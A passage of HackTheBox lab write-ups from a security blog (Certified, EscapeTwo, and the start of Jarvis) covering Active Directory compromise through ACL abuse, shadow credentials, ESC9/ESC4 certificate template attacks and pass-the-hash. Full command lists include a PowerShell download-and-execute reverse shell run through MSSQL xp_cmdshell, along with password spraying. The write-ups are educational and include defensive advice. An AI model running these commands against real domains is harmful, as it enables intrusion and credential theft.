<p>BloodHound showed that my compromised user, <strong>judith.mader</strong>, had <strong>WriteOwner</strong> over the <strong>Management</strong> group. That group in turn had control over <strong>management_svc</strong>, and <strong>management_svc</strong> had <strong>GenericAll</strong> over <strong>ca_operator</strong>. That was the real path forward.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/12a548e2-93a6-483b-a252-45e7418f557f.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/4edf6e4f-57e5-4cb4-b1ad-8ee28e4ba090.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/065a6c85-27e8-4a22-ad1b-a5ceb4c4f4c6.png" alt="" style="display:block;margin:0 auto" />

<p>I now had a clear route to turn one low-privileged user into control over additional accounts by abusing permissions that had been delegated badly inside the domain.</p>
<hr />
<h1>3. Exploitation</h1>
<p>The first thing I abused was <strong>Judith’s WriteOwner</strong> permission over the <strong>Management</strong> group. I used that to take ownership of the group object, and from there I granted myself the rights I needed over it.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/3005b0bb-2c6b-42df-b564-e5cd64b10f4c.png" alt="" style="display:block;margin:0 auto" />

<p>Once I controlled the group, I added myself to <strong>Management</strong>, which let me inherit the group’s influence over the next account in the chain.</p>
<p>With that in place, I now had the ability to affect <strong>management_svc</strong>. I used <strong>shadow credentials</strong> to directly compromise the account.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ba2fe922-8305-49cb-ab4c-699f51c57f01.png" alt="" style="display:block;margin:0 auto" />

<p>After taking over <strong>management_svc</strong>, I repeated the same general idea against <strong>ca_operator</strong>, because <strong>management_svc</strong> had <strong>GenericAll</strong> over that user. Again, shadow credentials gave me a direct path to compromise the account without needing to know the original password.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/53e318aa-5d7c-456d-b847-2bff49b98b58.png" alt="" style="display:block;margin:0 auto" />

<p>This shows how important it is to understand that object control in Active Directory often matters more than the password currently set on the account.</p>
<hr />
<h1>4. Privilege Escalation</h1>
<h3>User Context Validation</h3>
<p>Once I had control of <strong>ca_operator</strong>, I immediately treated that account as a likely ADCS-related foothold based on its name and role. I used <strong>Certipy</strong> to enumerate the certificate infrastructure and look for vulnerable templates that this user could enroll in.</p>
<p>That paid off quickly. I found a vulnerable certificate template, <strong>CertifiedAuthentication</strong>, that was exploitable through <strong>ESC9</strong>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/1a97421e-4d21-4355-b7be-519d1d98e69d.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/891aeabf-9d81-4428-964b-a845c89f03af.png" alt="" style="display:block;margin:0 auto" />

<p>Since <strong>ca_operator</strong> could enroll in it, I now had a path from delegated account control into full domain compromise.</p>
<p>At a high level, <strong>ESC9</strong> matters because the template does not include the strong security extension that would normally tie the issued certificate more tightly to the original requesting account. That creates room for identity mapping abuse if I can manipulate the account attributes involved in certificate issuance.</p>
<h3>Domain/Host Privilege Escalation</h3>
<p>To exploit the template, I needed the issued certificate to be associated with <strong>Administrator</strong> rather than the account I currently controlled. Since <strong>management_svc</strong> had <strong>GenericAll</strong> over <strong>ca_operator</strong>, I used that access to temporarily change <strong>ca_operator’s UPN</strong> to:</p>
<p><code>administrator@certified.htb</code></p>
<p>With the UPN changed, I requested a certificate from the vulnerable <strong>CertifiedAuthentication</strong> template. That gave me an <strong>administrator.pfx</strong> certificate containing the <strong><a href="mailto:administrator@certified.htb">administrator@certified.htb</a></strong> UPN.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/97a67a24-34ae-4bd6-b0fe-dcc74865d0dc.png" alt="" style="display:block;margin:0 auto" />

<p>The critical detail here was that I then had to change <strong>ca_operator’s UPN back to its original value</strong>. That step mattered because if the modified account kept the Administrator UPN, certificate mapping would not resolve the way I wanted during authentication. Restoring the original UPN removed the collision and let the certificate authenticate as the real <strong>Administrator</strong> account instead of continuing to map back to <strong>ca_operator</strong>.</p>
<p>After restoring the UPN, I authenticated with the PFX and used it to retrieve the <strong>Administrator NT hash</strong>. From there, I used <strong>Evil-WinRM</strong> with the hash and obtained a shell on the box as:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/8f22de18-30db-4bdc-92af-82ebbf979aa2.png" alt="" style="display:block;margin:0 auto" />

<p><code>certified\administrator</code></p>
<p>That completed the compromise and gave me full administrative control over the domain controller.</p>
<hr />
<h1>5. Lessons Learned</h1>
<p><strong>1. BloodHound paths can be more valuable than cracked credentials.</strong><br />In this box, I did successfully Kerberoast <strong>management_svc</strong>, but cracking the hash was not necessary. The ACL path I found in BloodHound was the real win condition. That was a good reminder that relationship abuse often beats brute force or offline cracking in modern AD environments.</p>
<p><strong>2. Object control is often equivalent to account compromise.</strong><br />Once I had rights like <strong>WriteOwner</strong>, <strong>GenericWrite</strong>, and <strong>GenericAll</strong>, the passwords themselves mattered much less. Shadow credentials turned delegated control into practical account takeover very quickly.</p>
<p><strong>3. Assumed-breach boxes still reward disciplined enumeration.</strong><br />Even though I started with valid credentials, the box still required structure. I checked shares, enumerated users, tested Kerberos attacks, and only then pivoted into graph-based ACL analysis. Skipping that process would have made the path much harder to see.</p>
<p><strong>4. ADCS attacks often depend on small identity details.</strong><br />The ESC9 portion was not just “request cert, become admin.” The UPN manipulation had to be handled carefully, and restoring the original value was a critical part of getting the mapping to work the way I wanted.</p>
<hr />
<h1>6. Defensive Insight</h1>
<p><strong>1. Audit and restrict delegated ACLs on users and groups.</strong><br />This box fell apart because low-privileged control over one object led cleanly into control over the next. Permissions like <strong>WriteOwner</strong>, <strong>GenericWrite</strong>, and <strong>GenericAll</strong> should be reviewed aggressively, especially when they apply across administrative boundaries.</p>
<p><strong>2. Monitor for shadow credential abuse.</strong><br />Changes to <code>msDS-KeyCredentialLink</code> are high-value events and should be treated seriously. If defenders are not watching for that attribute being modified, attackers can silently turn object control into account compromise.</p>
<p><strong>3. Harden certificate templates and enrollment rights.</strong><br />Allowing broadly reachable accounts to enroll in vulnerable templates is dangerous enough on its own. When that is combined with weak template configuration, ADCS becomes a direct privilege escalation platform.</p>
<p><strong>4. Reduce identity-mapping abuse opportunities in ADCS.</strong><br />Certificate-based authentication becomes much harder to abuse when templates are configured correctly and strong mapping behavior is enforced. Weak or legacy certificate mapping logic gives attackers room to manipulate identities in ways that should not be possible.</p>
<hr />
<h1>Useful Commands</h1>
<p><strong>Port scan</strong></p>
<pre><code class="language-bash">rustscan -a 10.129.231.186 -b 4000
</code></pre>
<p><strong>Enumerate SMB shares with the provided domain user</strong></p>
<pre><code class="language-bash">nxc smb certified.htb -u judith.mader -p judith09 --shares
</code></pre>
<p><strong>Enumerate domain users over SMB</strong></p>
<pre><code class="language-bash">nxc smb certified.htb -u judith.mader -p judith09 --users
</code></pre>
<p><strong>Kerberoast service accounts</strong></p>
<pre><code class="language-bash">impacket-GetUserSPNs -request certified.htb/judith.mader -dc-ip 10.129.231.186
</code></pre>
<p><strong>Fix clock skew before retrying Kerberos requests</strong></p>
<pre><code class="language-bash">sudo ntpdate certified.htb
</code></pre>
<p><strong>Take ownership of the Management group</strong></p>
<pre><code class="language-bash">bloodyAD -u judith.mader -p judith09 -d certified.htb --host 10.129.231.186 set owner management judith.mader
</code></pre>
<p><strong>Grant Judith full control over the Management group</strong></p>
<pre><code class="language-bash">bloodyAD -u judith.mader -p judith09 -d certified.htb --host 10.129.231.186 add genericAll management judith.mader
</code></pre>
<p><strong>Add shadow credentials to ca_operator as management_svc</strong></p>
<pre><code class="language-bash">bloodyAD -u management_svc -p :a091c1832bcdd4677c28b5a6a1295584 -d certified.htb --host 10.129.231.186 add shadowCredentials ca_operator
</code></pre>
<p><strong>Enumerate vulnerable certificate templates</strong></p>
<pre><code class="language-bash">certipy find -u ca_operator -hashes b4b86f45c6018f1b664f70805f45d8f2 -target certified.htb -text -stdout -vulnerable
</code></pre>
<p><strong>Temporarily change ca_operator UPN to Administrator</strong></p>
<pre><code class="language-bash">certipy account -u management_svc -hashes a091c1832bcdd4677c28b5a6a1295584 -target DC01.certified.htb -upn 'administrator@certified.htb' -user 'ca_operator' update
</code></pre>
<p><strong>Request a certificate from the vulnerable template</strong></p>
<pre><code class="language-bash">certipy req -k -dc-ip 10.129.231.186 -target DC01.certified.htb -ca certified-DC01-CA -template CertifiedAuthentication
</code></pre>
<p><strong>Restore ca_operator UPN after enrollment</strong></p>
<pre><code class="language-bash">certipy account -u management_svc -hashes a091c1832bcdd4677c28b5a6a1295584 -target DC01.certified.htb -upn 'ca_operator@certified.htb' -user 'ca_operator' update
</code></pre>
<p><strong>Authenticate with the Administrator PFX and recover the NT hash</strong></p>
<pre><code class="language-bash">certipy auth -pfx administrator.pfx -dc-ip 10.129.231.186 -domain certified.htb
</code></pre>
<p><strong>Get a shell as Administrator with Evil-WinRM</strong></p>
<pre><code class="language-bash">evil-winrm -i 10.129.231.186 -u administrator -H 0d5b49608bbce1751f708748f67e2d34
</code></pre>
]]></content:encoded></item><item><title><![CDATA[OSCP Prep #23
HTB Write-Up EscapeTwo]]></title><description><![CDATA[1. Target Overview
Machine Name: EscapeTwoPlatform: HackTheBoxOperating System: WindowsTarget IP: 10.129.232.128Objective: Obtain Domain Administrator access
This was an Active Directory environment p]]></description><link>https://www.hack2harden.com/oscp-prep-23-htb-write-up-escapetwo</link><guid isPermaLink="true">https://www.hack2harden.com/oscp-prep-23-htb-write-up-escapetwo</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Thu, 23 Apr 2026 00:41:18 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/bc77a80c-7bf5-4549-83e4-8b9432d1046e.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<hr />
<h1>1. Target Overview</h1>
<p><strong>Machine Name:</strong> EscapeTwo<br /><strong>Platform:</strong> HackTheBox<br /><strong>Operating System:</strong> Windows<br /><strong>Target IP:</strong> 10.129.232.128<br /><strong>Objective:</strong> Obtain Domain Administrator access</p>
<p>This was an Active Directory environment presented in an assumed breach scenario, meaning I started with valid low-privileged domain credentials. From the initial scan, I identified typical AD services along with MSSQL, which immediately suggested multiple potential attack paths including SMB data exposure, database abuse, and eventual domain escalation through misconfigurations.</p>
<p>The overall attack path ended up being a clean chain:</p>
<ul>
<li><p>SMB → credential exposure</p>
</li>
<li><p>MSSQL → remote code execution</p>
</li>
<li><p>Configuration files → credential reuse</p>
</li>
<li><p>ACL abuse → account takeover</p>
</li>
<li><p>AD CS → full domain compromise</p>
</li>
</ul>
<h3>Tools Used</h3>
<ul>
<li><p>Rustscan</p>
</li>
<li><p>Nmap</p>
</li>
<li><p>NetExec (nxc)</p>
</li>
<li><p>smbclient</p>
</li>
<li><p>xmllint</p>
</li>
<li><p>BloodHound / RustHound</p>
</li>
<li><p>BloodyAD</p>
</li>
<li><p>Certipy</p>
</li>
<li><p>Evil-WinRM</p>
</li>
</ul>
<hr />
<h1>2. Enumeration</h1>
<h3>Initial Network Scan</h3>
<p>I began with a fast port scan using Rustscan:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/314c61a7-7dcd-4430-9f3c-069ecbba281a.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">rustscan -a 10.129.232.128 -b 6000
</code></pre>
<p>From this, I identified several key services:</p>
<ul>
<li><p>53 → DNS</p>
</li>
<li><p>88 → Kerberos</p>
</li>
<li><p>135 / 139 / 445 → RPC / SMB</p>
</li>
<li><p>389 → LDAP</p>
</li>
<li><p>1433 → MSSQL</p>
</li>
</ul>
<p>Right away, MSSQL stood out as important. In internal environments, MSSQL is often a high-value target because it can be abused for:</p>
<ul>
<li><p>OS command execution (<code>xp_cmdshell</code>)</p>
</li>
<li><p>Hash theft (<code>xp_dirtree</code>)</p>
</li>
</ul>
<p>I made a mental note to come back to this later if I could obtain credentials.</p>
<p>During LDAP-related output, I also observed the domain FQDN:</p>
<p><code>DC01.sequel.htb</code></p>
<p>To ensure proper domain interaction, I added it to my hosts file.</p>
<hr />
<h3>Starting Point (Assumed Breach)</h3>
<p>I was given valid credentials:</p>
<p><code>rose : KxEPkKe6R8su</code></p>
<p>Because I already had domain access, I shifted immediately into internal enumeration rather than trying to gain initial access.</p>
<hr />
<h3>Enumerating Domain Users</h3>
<p>My first step was to build a list of domain users:</p>
<pre><code class="language-bash">nxc smb 10.129.232.128 -u rose -p KxEPkKe6R8su --users
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/8b8f4f05-fd9b-4921-b4fc-7586ddf66654.png" alt="" style="display:block;margin:0 auto" />

<p>This revealed several users, including:</p>
<ul>
<li><p>sql_svc</p>
</li>
<li><p>ryan</p>
</li>
<li><p>ca_svc</p>
</li>
</ul>
<p>At this stage, I wasn’t looking for anything specific yet — just building a picture of the environment.</p>
<hr />
<h3>BloodHound (Initial Pass)</h3>
<p>Since I already had valid credentials, I collected domain data using RustHound and loaded it into BloodHound.</p>
<p>I checked:</p>
<ul>
<li><p>Group memberships</p>
</li>
<li><p>Privileges</p>
</li>
<li><p>Attack paths</p>
</li>
</ul>
<p>At this point, <code>rose</code> did not have any useful privileges or attack paths, so I moved on.</p>
<hr />
<h3>SMB Enumeration</h3>
<p>Next, I checked SMB access:</p>
<pre><code class="language-bash">nxc smb 10.129.232.128 -u rose -p KxEPkKe6R8su --shares
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/1a5f7b75-1a50-4363-8169-7376776074b0.png" alt="" style="display:block;margin:0 auto" />

<p>I saw:</p>
<ul>
<li><p>Users → READ</p>
</li>
<li><p>Accounting Department → READ</p>
</li>
</ul>
<p>Before diving into SMB, I also checked WinRM:</p>
<pre><code class="language-bash">nxc winrm 10.129.232.128 -u rose -p KxEPkKe6R8su
</code></pre>
<p>This failed, confirming I could not get a shell directly.</p>
<p>So SMB became my next focus.</p>
<hr />
<h3>Share Enumeration (Targeted Approach)</h3>
<p>Rather than manually browsing shares, I used <code>spider_plus</code> to quickly enumerate files:</p>
<pre><code class="language-bash">nxc smb 10.129.232.128 -u rose -p KxEPkKe6R8su -M spider_plus -o EXCLUDE_FILTER='NETLOGON,SYSVOL,IPC$'
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ee894e1d-1037-4198-bf3e-fc418e1c2658.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/9362e35f-ad6c-4674-b5a2-92ce8fad982c.png" alt="" style="display:block;margin:0 auto" />

<p>After reviewing the output:</p>
<ul>
<li><p>Users → mostly default <code>.lnk</code> files (noise)</p>
</li>
<li><p>Accounting Department → two Excel files</p>
</li>
</ul>
<p>That stood out immediately. In real environments, files like this often contain sensitive business data — sometimes including credentials.</p>
<hr />
<h3>Extracting and Analyzing Files</h3>
<p>I downloaded both files:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/6466d4f6-d3ce-4ce1-8815-7225d322c880.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">smbclient -U rose //10.129.232.128/'Accounting Department'
</code></pre>
<p>Inside smbclient:</p>
<pre><code class="language-bash">get accounting_2024.xlsx
get accounts.xlsx
</code></pre>
<p>Since <code>.xlsx</code> files are just ZIP archives, I extracted one:</p>
<pre><code class="language-bash">unzip accounting_2024.xlsx
</code></pre>
<p>This gave me a directory structure with XML files.</p>
<p>The key file for content is:</p>
<p><code>xl/sharedStrings.xml</code></p>
<p>I formatted it for readability:</p>
<pre><code class="language-bash">xmllint --format xl/sharedStrings.xml
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ed446d99-721d-4309-a569-6ae1a4cb2b88.png" alt="" style="display:block;margin:0 auto" />

<p>Inside, I found plaintext credentials:</p>
<p><code>Username: sa Password: MSSQLP@ssw0rd!</code></p>
<h1>3. Exploitation</h1>
<h3>MSSQL Authentication</h3>
<p>I tested the credentials against MSSQL:</p>
<pre><code class="language-bash">nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth
</code></pre>
<p>Authentication succeeded.</p>
<p>Now I had direct access to the database server.</p>
<hr />
<h3>Testing Command Execution</h3>
<p>Next, I needed to determine whether I could execute system commands.</p>
<pre><code class="language-bash">nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth -x whoami
</code></pre>
<p>Output:</p>
<p><code>sequel\sql_svc</code></p>
<p>This confirmed two critical things:</p>
<ol>
<li><p><code>xp_cmdshell</code> is enabled</p>
</li>
<li><p>Commands execute as the SQL Server service account (<code>sql_svc</code>)</p>
</li>
</ol>
<p>This is powerful because:</p>
<ul>
<li><p>I now have OS-level execution</p>
</li>
<li><p>I’m running as a domain account, not just a database user</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/047ecadc-23bc-4fb1-a043-78133255f9de.png" alt="" style="display:block;margin:0 auto" /></li>
</ul>
<hr />
<h3>Getting a Reverse Shell</h3>
<p>To stabilize access, I executed a PowerShell reverse shell:</p>
<pre><code class="language-bash">nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth -x "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.15.205/shell.ps1')"
</code></pre>
<p>Listener:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b246d4b2-a010-49e7-887d-3a5a115609b9.png" alt="" style="display:block;margin:0 auto" />

<p>Connection received.</p>
<p>I now had a shell as:</p>
<p><code>sequel\sql_svc</code></p>
<p>At this point, exploitation is complete — I have a foothold.</p>
<hr />
<h1>4. Privilege Escalation</h1>
<h3>Local Enumeration</h3>
<p>I started with basic checks:</p>
<pre><code class="language-powershell">whoami /all
</code></pre>
<p>Nothing useful.</p>
<p>Next, I looked at the root directory:</p>
<pre><code class="language-powershell">gci C:\
</code></pre>
<p>I noticed something unusual:</p>
<p><code>SQL2019</code></p>
<p>Non-standard directories are always worth investigating.</p>
<hr />
<h3>Configuration File Discovery</h3>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/fcc6e219-fdc8-4071-a228-39e6c121617a.png" alt="" style="display:block;margin:0 auto" />

<p>I navigated into it:</p>
<pre><code class="language-powershell">cd C:\SQL2019\ExpressAdv_ENU
</code></pre>
<p>Then listed files:</p>
<pre><code class="language-powershell">gci
</code></pre>
<p>One file stood out:</p>
<p><code>sql-configuration.ini</code></p>
<p>I opened it:</p>
<pre><code class="language-powershell">type sql-configuration.ini
</code></pre>
<p>Inside:</p>
<p><code>SQLSVCACCOUNT=SEQUEL\sql_svc SQLSVCPASSWORD=WgSZAF6CysDQbGb3</code></p>
<p>This was another credential — and likely reusable.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/4eb13729-ad69-4b19-93ae-117e8aa40bd6.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h3>Password Spraying</h3>
<p>I tested the password across all users:</p>
<pre><code class="language-bash">nxc smb 10.129.232.128 -u users.txt -p 'WgSZAF6CysDQbGb3' --continue-on-success
</code></pre>
<p>Results:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/2e687dde-0989-40f6-adb0-ae7ef34458e3.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><p>ryan → valid</p>
</li>
<li><p>sql_svc → valid</p>
</li>
</ul>
<p>Now I had a new user: <code>ryan</code></p>
<hr />
<h3>Revisiting BloodHound (Critical Step)</h3>
<p>At this point, I had new credentials.</p>
<p>That means:</p>
<blockquote>
<p>I need to re-check BloodHound.</p>
</blockquote>
<p>This is where many people miss paths.</p>
<p>Now I saw:</p>
<ul>
<li><code>ryan</code> → <strong>WriteOwner over ca_svc</strong></li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/eb73ef7a-e385-40a4-acaf-c23d472a766b.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h3>Understanding WriteOwner</h3>
<p><code>WriteOwner</code> allows me to:</p>
<ul>
<li><p>Change the owner of an object</p>
</li>
<li><p>Once owner → grant myself full permissions</p>
</li>
</ul>
<p>So this is effectively:</p>
<blockquote>
<p>Indirect full control over the account</p>
</blockquote>
<hr />
<h3>Taking Over ca_svc</h3>
<p>I used BloodyAD:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/8bbaae44-814d-4523-9beb-e68a9e1b0454.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">bloodyAD -d sequel.htb -u ryan -p 'WgSZAF6CysDQbGb3' set owner ca_svc ryan
</code></pre>
<p>Then granted full control:</p>
<pre><code class="language-bash">bloodyAD -d sequel.htb -u ryan -p 'WgSZAF6CysDQbGb3' add genericall ca_svc ryan
</code></pre>
<p>Now I fully controlled <code>ca_svc</code>.</p>
<hr />
<h3>Shadow Credentials Attack</h3>
<p>Instead of resetting the password (noisy), I used Shadow Credentials:</p>
<pre><code class="language-bash">bloodyAD -d sequel.htb -u ryan -p 'WgSZAF6CysDQbGb3' add shadowcredentials ca_svc
</code></pre>
<p>This works by:</p>
<ul>
<li><p>Adding a certificate to the account</p>
</li>
<li><p>Allowing authentication without password</p>
</li>
</ul>
<p>Now I could authenticate as <code>ca_svc</code>.</p>
<hr />
<h3>AD CS Enumeration</h3>
<p>I checked for certificate abuse:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/0ae0934d-1fcf-469b-a425-9e076976dc36.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">certipy find -u ca_svc -hashes &lt;hash&gt; -dc-ip 10.129.232.128
</code></pre>
<p>I found:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/0e25253b-f2f1-4f5b-8475-661523467442.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Vulnerable template → ESC4</li>
</ul>
<hr />
<h3>ESC4 Abuse</h3>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/9cdee37a-929e-4a16-ad4b-67a2fe9e99fa.png" alt="" style="display:block;margin:0 auto" />

<p>ESC4 allows modification of certificate templates.</p>
<p>I modified the template:</p>
<pre><code class="language-bash">certipy template -u ca_svc -hashes &lt;hash&gt; -template DunderMifflinAuthentication
</code></pre>
<p>Then requested a certificate as Administrator:</p>
<pre><code class="language-bash">certipy req -u ca_svc -hashes &lt;hash&gt; -target dc01.sequel.htb -upn administrator@sequel.htb -ca sequel-DC01-CA -template DunderMifflinAuthentication -dc-ip 10.129.232.128
</code></pre>
<p>This generated:</p>
<p><code>administrator.pfx</code></p>
<hr />
<h3>Domain Administrator Access</h3>
<p>I authenticated using the certificate:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/cd003dc9-77ba-4702-9b48-af883f60fdd5.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">certipy auth -pfx administrator.pfx -dc-ip 10.129.232.128
</code></pre>
<p>This gave me the Administrator NT hash.</p>
<p>Final step:</p>
<pre><code class="language-bash">evil-winrm -i 10.129.232.128 -u administrator -H &lt;hash&gt;
</code></pre>
<p>I now had full Domain Admin access.</p>
<hr />
<h1>5. Lessons Learned</h1>
<ul>
<li><p>SMB shares are still one of the easiest ways to leak credentials</p>
</li>
<li><p>MSSQL is a powerful pivot point when exposed internally</p>
</li>
<li><p>Configuration files frequently expose reusable credentials</p>
</li>
<li><p>Password reuse is still extremely common</p>
</li>
<li><p>BloodHound must be revisited after every privilege change</p>
</li>
<li><p>WriteOwner is effectively a full takeover primitive</p>
</li>
<li><p>Shadow Credentials provide stealthy persistence and access</p>
</li>
<li><p>AD CS misconfigurations are one of the most dangerous escalation paths today</p>
</li>
</ul>
<hr />
<h1>6. Defensive Insight</h1>
<ul>
<li><p>Restrict SMB access and audit file exposure</p>
</li>
<li><p>Never store plaintext credentials in files</p>
</li>
<li><p>Disable or restrict xp_cmdshell</p>
</li>
<li><p>Enforce password uniqueness across accounts</p>
</li>
<li><p>Monitor ACL changes (especially ownership changes)</p>
</li>
<li><p>Audit AD CS templates regularly</p>
</li>
<li><p>Monitor certificate enrollment activity</p>
</li>
</ul>
<hr />
<h1>Useful Commands</h1>
<pre><code class="language-bash">rustscan -a 10.129.232.128 -b 6000
</code></pre>
<pre><code class="language-bash">nxc smb 10.129.232.128 -u rose -p KxEPkKe6R8su --users
</code></pre>
<pre><code class="language-bash">nxc smb 10.129.232.128 -u rose -p KxEPkKe6R8su --shares
</code></pre>
<pre><code class="language-bash">nxc winrm 10.129.232.128 -u rose -p KxEPkKe6R8su
</code></pre>
<pre><code class="language-bash">nxc smb 10.129.232.128 -u rose -p KxEPkKe6R8su -M spider_plus -o EXCLUDE_FILTER='NETLOGON,SYSVOL,IPC$'
</code></pre>
<pre><code class="language-bash">smbclient -U rose //10.129.232.128/'Accounting Department'
</code></pre>
<pre><code class="language-bash">unzip accounting_2024.xlsx
</code></pre>
<pre><code class="language-bash">xmllint --format xl/sharedStrings.xml
</code></pre>
<pre><code class="language-bash">nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth
</code></pre>
<pre><code class="language-bash">nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth -x whoami
</code></pre>
<pre><code class="language-bash">rlwrap nc -nlvp 7777
</code></pre>
<pre><code class="language-bash">nxc smb 10.129.232.128 -u users.txt -p 'WgSZAF6CysDQbGb3' --continue-on-success
</code></pre>
<pre><code class="language-bash">bloodyAD -d sequel.htb -u ryan -p 'WgSZAF6CysDQbGb3' set owner ca_svc ryan
</code></pre>
<pre><code class="language-bash">bloodyAD -d sequel.htb -u ryan -p 'WgSZAF6CysDQbGb3' add genericall ca_svc ryan
</code></pre>
<pre><code class="language-bash">bloodyAD -d sequel.htb -u ryan -p 'WgSZAF6CysDQbGb3' add shadowcredentials ca_svc
</code></pre>
<pre><code class="language-bash">certipy template -u ca_svc -hashes &lt;hash&gt; -template DunderMifflinAuthentication
</code></pre>
<pre><code class="language-bash">certipy req -u ca_svc -hashes &lt;hash&gt; -target dc01.sequel.htb -upn administrator@sequel.htb -ca sequel-DC01-CA -template DunderMifflinAuthentication -dc-ip 10.129.232.128
</code></pre>
<pre><code class="language-bash">certipy auth -pfx administrator.pfx -dc-ip 10.129.232.128
</code></pre>
<pre><code class="language-bash">evil-winrm -i 10.129.232.128 -u administrator -H &lt;hash&gt;
</code></pre>
<hr />
]]></content:encoded></item><item><title><![CDATA[OSCP Prep #22 
HTB Write-Up Jarvis]]></title><description><![CDATA[1. Target Overview

Machine Name: Jarvis

Platform: HackTheBox

Operating System: Linux

Target IP: 10.129.229.137

Objective: Obtain initial access and escalate privileges to root


Jarvis was a box ]]></description><link>https://www.hack2harden.com/oscp-prep-22-htb-write-up-jarvis</link><guid isPermaLink="true">https://www.hack2harden.com/oscp-prep-22-htb-write-up-jarvis</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Thu, 16 Apr 2026 07:00:13 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/debfd184-d4d0-4832-99c4-7142d0d95d4e.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>1. <strong>Target Overview</strong></h1>
<ul>
<li><p><strong>Machine Name:</strong> Jarvis</p>
</li>
<li><p><strong>Platform:</strong> HackTheBox</p>
</li>
<li><p><strong>Operating System:</strong> Linux</p>
</li>
<li><p><strong>Target IP:</strong> 10.129.229.137</p>
</li>
<li><p><strong>Objective:</strong> Obtain initial access and escalate privileges to root</p>
</li>
</ul>
<p>Jarvis was a box that was very simple, yet instructional. What made it so valuable was how heavily it relied on two very common attack vectors: <strong>SQL injection</strong> and <strong>command injection</strong>.</p>
<p>On this machine, I could not lean on automation the way I normally might. Once the obvious tooling got shut down down by filtering, I had to work through the attack chain manually and understand each step. Because of that, Jarvis ended up being one of the better boxes I have done for reinforcing core web exploitation fundamentals.</p>
<h3>Tools Used</h3>
<p><strong>1. Nmap</strong></p>
<p>Used for initial port scanning and service enumeration. This established the initial attack surface and guided the decision to prioritize the web applications.</p>
<p><strong>2. FFUF</strong></p>
<p>Used for directory enumeration on both exposed web ports. Even when it did not directly reveal the final exploit path, it helped confirm where useful functionality existed and where it did not.</p>
<p><strong>3. Browser / Manual Inspection</strong></p>
<p>Manual interaction with the site was critical on this box. It revealed the behavior of the cod parameter, exposed the temporary blocking mechanism, and made it possible to proceed once automation became unreliable.</p>
<p><strong>4. Burp Suite</strong></p>
<p>Used to manipulate requests and swap in payloads cleanly, especially when moving from simple command execution tests to the reverse shell stage.</p>
<p><strong>5. SQL Injection Payloads</strong></p>
<p>While not a “tool” in the same sense as software, manual SQL injection was the heart of this box. Working through the vulnerability manually was what made the exploitation successful.</p>
<p><strong>6. xxd</strong></p>
<p>Used to hex-encode the PHP payload before writing it to disk through the SQL injection.</p>
<ol>
<li><strong>Netcat</strong></li>
</ol>
<p>Used as the reverse shell listener for both the initial web shell callback and the final root shell.</p>
<p><strong>GTFOBins</strong></p>
<p>Used to validate and safely reference the known privilege escalation technique for the SUID systemctl binary.</p>
<hr />
<h1>2. <strong>Enumeration Phase</strong></h1>
